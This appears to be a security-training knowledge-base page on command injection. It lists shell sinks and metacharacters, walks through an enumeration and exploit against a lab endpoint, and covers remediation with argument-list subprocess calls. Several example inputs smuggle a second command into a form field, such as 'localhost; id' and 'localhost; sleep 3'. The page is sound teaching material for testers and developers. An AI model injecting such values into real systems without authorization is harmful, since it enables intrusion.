Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter III - Web / 03. Command Injection

Command Injection

Command Injection happens when attacker-controlled input becomes part of an operating system command.

The primitive is shell interpretation. The application intends to run one command, but the shell receives user-controlled characters that change where that command ends and what runs next.

This is different from SQL injection and XSS. The dangerous parser is not the database and not the browser. The dangerous parser is the operating system shell.

Common command execution sinks include:

  • os.system
  • subprocess.run(..., shell=True)
  • subprocess.Popen(..., shell=True)
  • popen
  • Backtick execution in scripting languages
  • Template helpers that call shell commands
  • Admin panels that run diagnostics
  • Backup, archive, conversion, upload, image, and PDF processing features

Common shell metacharacters include:

;
&
&&
||
|
`
$()
>
<
newline

Common abuse scenarios include:

  • Running local commands as the web server user
  • Reading environment details
  • Discovering the current user and working directory
  • Proving code execution with id, whoami, or uname
  • Chaining into file reads when the process has access
  • Chaining into persistence or lateral movement in real incidents

When enumerating command injection opportunities, identify:

  • Features that run diagnostics such as ping, lookup, trace, or status checks
  • File conversion features
  • Image processing features
  • PDF generation features
  • Archive extraction features
  • Backup and restore features
  • Import/export features
  • Admin-only maintenance tools
  • Parameters named host, ip, domain, path, file, url, command, cmd, format, or template
  • Whether the application returns command output, timing differences, or only success/failure

Types

Direct command injection returns command output in the response.

target=localhost; id

Blind command injection does not return output. Impact is proven through timing, side effects, logs, or controlled callbacks inside an authorized lab.

target=localhost; sleep 3

Argument injection happens when the application avoids the shell but still lets the attacker control dangerous arguments to a trusted program.

program --safe-option attacker-controlled-option

Argument injection is not always command execution. It still matters because many programs have powerful options.


Enumeration

Start with a normal value:

localhost
127.0.0.1
example.local

Then test one separator at a time:

localhost; id
localhost && id
localhost | id
localhost || id
localhost
id

Use harmless proof commands:

id
whoami
pwd
uname -a

Compare:

  • Status code
  • Response length
  • Command output
  • Error output
  • Response time
  • Audit logs

Interesting findings include:

  • uid= in the response
  • The web server user's name in the response
  • Different output after adding a shell separator
  • Error messages from /bin/sh
  • Delay after injecting sleep
  • Application logs showing the full command string

Once execution is confirmed, keep the proof small. The goal is to prove that the shell is interpreting user input.


Exploit

  1. Find a feature that runs a system command.
POST /command-injection/basic
target=localhost
  1. Confirm the normal command works.
127.0.0.1       localhost
  1. Add a shell separator and a harmless proof command.
POST /command-injection/basic
target=localhost; id
  1. Confirm command execution.
uid=1000(kali) gid=1000(kali)
  1. Test alternate separators when a blacklist appears.
localhost | id
localhost && whoami
  1. Stop once impact is proven.

The exploit is not the command itself. The exploit is proving that user input crossed into shell syntax.


Remediation

Patch command injection by removing the shell boundary:

  • Do not use shell=True with user-controlled data.
  • Use argument arrays such as ["getent", "hosts", target].
  • Validate input with strict allowlists.
  • Treat every parameter used near a command as untrusted.
  • Keep user-controlled labels, filenames, paths, and options out of shell strings.
  • Use built-in language libraries instead of shelling out when possible.
  • Run the web application with least privilege.
  • Add timeouts to subprocess calls.
  • Log denied command-like input.

Safe subprocess pattern:

subprocess.run(
    ["getent", "hosts", target],
    shell=False,
    capture_output=True,
    text=True,
    timeout=3,
)

Quoting helps only when a shell is still required. It is not the preferred fix when the command can be expressed as an argument list.